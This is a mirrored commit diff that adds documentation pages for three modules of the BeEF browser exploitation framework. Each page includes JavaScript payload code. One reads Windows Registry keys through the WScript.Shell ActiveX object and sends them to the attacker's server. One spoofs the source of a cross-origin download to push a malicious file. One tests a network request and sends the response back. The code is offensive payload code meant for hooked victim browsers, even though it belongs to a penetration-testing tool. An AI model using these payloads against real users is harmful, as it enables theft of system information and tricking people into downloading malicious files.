mirror of
https://github.com/beefproject/beef
synced 2026-06-08 13:15:56 +00:00
added get registry keys, lcamtuf download, and test network request
+38
-1
@@ -1 +1,38 @@
|
||||
_TODO_
|
||||
## Summary
|
||||
|
||||
* **Objective**: get registry keys of a Windows system
|
||||
* **Authors**: bcoles
|
||||
* **Browsers**: IE
|
||||
|
||||
* [Code](https://github.com/beefproject/beef/tree/master/modules/host/get_registry_keys)
|
||||
|
||||
## Internal Working
|
||||
|
||||
Retrieves the values of Windows Registry keys using an (unsafe) ActiveX control.
|
||||
|
||||
Internet Explorer does NOT allow scripting of unsafe ActiveX controls in the Internet zone by default.
|
||||
|
||||
Each registry key must be placed on a new line.
|
||||
|
||||
uses the Wscript.Shell object to do so
|
||||
|
||||
```js
|
||||
var wsh = new ActiveXObject("WScript.Shell");
|
||||
if (!wsh) throw("failed to create registry object");
|
||||
else {
|
||||
for (var i=0; i<key_paths.length; i++) {
|
||||
var key_path = key_paths[i];
|
||||
if (!key_path) continue;
|
||||
try {
|
||||
var key_value = wsh.RegRead(key_path);
|
||||
result = key_path+": "+key_value;
|
||||
} catch (e) {
|
||||
result = key_path+": failed to retrieve key value";
|
||||
}
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
+33
-2
@@ -1,5 +1,36 @@
|
||||
_TODO_
|
||||
## Summary
|
||||
|
||||
* **Objective**: Trick the user into downloading a file from another domain
|
||||
* **Authors**: Bart Leppens
|
||||
* **Browsers**: Firefox, Chrome
|
||||
|
||||
* [Code](https://github.com/beefproject/beef/tree/master/modules/social_engineering/lcamtuf_download)
|
||||
|
||||
## Internal Working
|
||||
|
||||
points the targeted window to a cross-origin attachment download and try to spoof to source of that download to look like the current domain (doesn't work on later versions)
|
||||
|
||||
```js
|
||||
|
||||
function doit() {
|
||||
if (!beef.browser.isIE()) {
|
||||
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
|
||||
setTimeout(donext, 4500);
|
||||
}
|
||||
}
|
||||
|
||||
function donext() {
|
||||
window.open(maliciousurl, 'foo');
|
||||
if (once != true) setTimeout(donext, 5000);
|
||||
once = true;
|
||||
}
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* https://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html
|
||||
* http://lcamtuf.coredump.cx/fldl/
|
||||
|
||||
* http://lcamtuf.coredump.cx/fldl/
|
||||
## Feedback
|
||||
|
||||
@@ -1 +1,16 @@
|
||||
_TODO_
|
||||
## Summary
|
||||
|
||||
* **Objective**: Test the beef.net.request function by retrieving a URL.
|
||||
* **Authors**: bcoles
|
||||
* **Browsers**: All
|
||||
|
||||
* [Code](https://github.com/beefproject/beef/tree/master/modules/debug/test_network_request)
|
||||
|
||||
## Internal Working
|
||||
|
||||
```js
|
||||
beef.net.request(scheme, method, domain, port, path, anchor, data, timeout, dataType, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, JSON.stringify(response)); } )
|
||||
```
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
Reference in New Issue
Block a user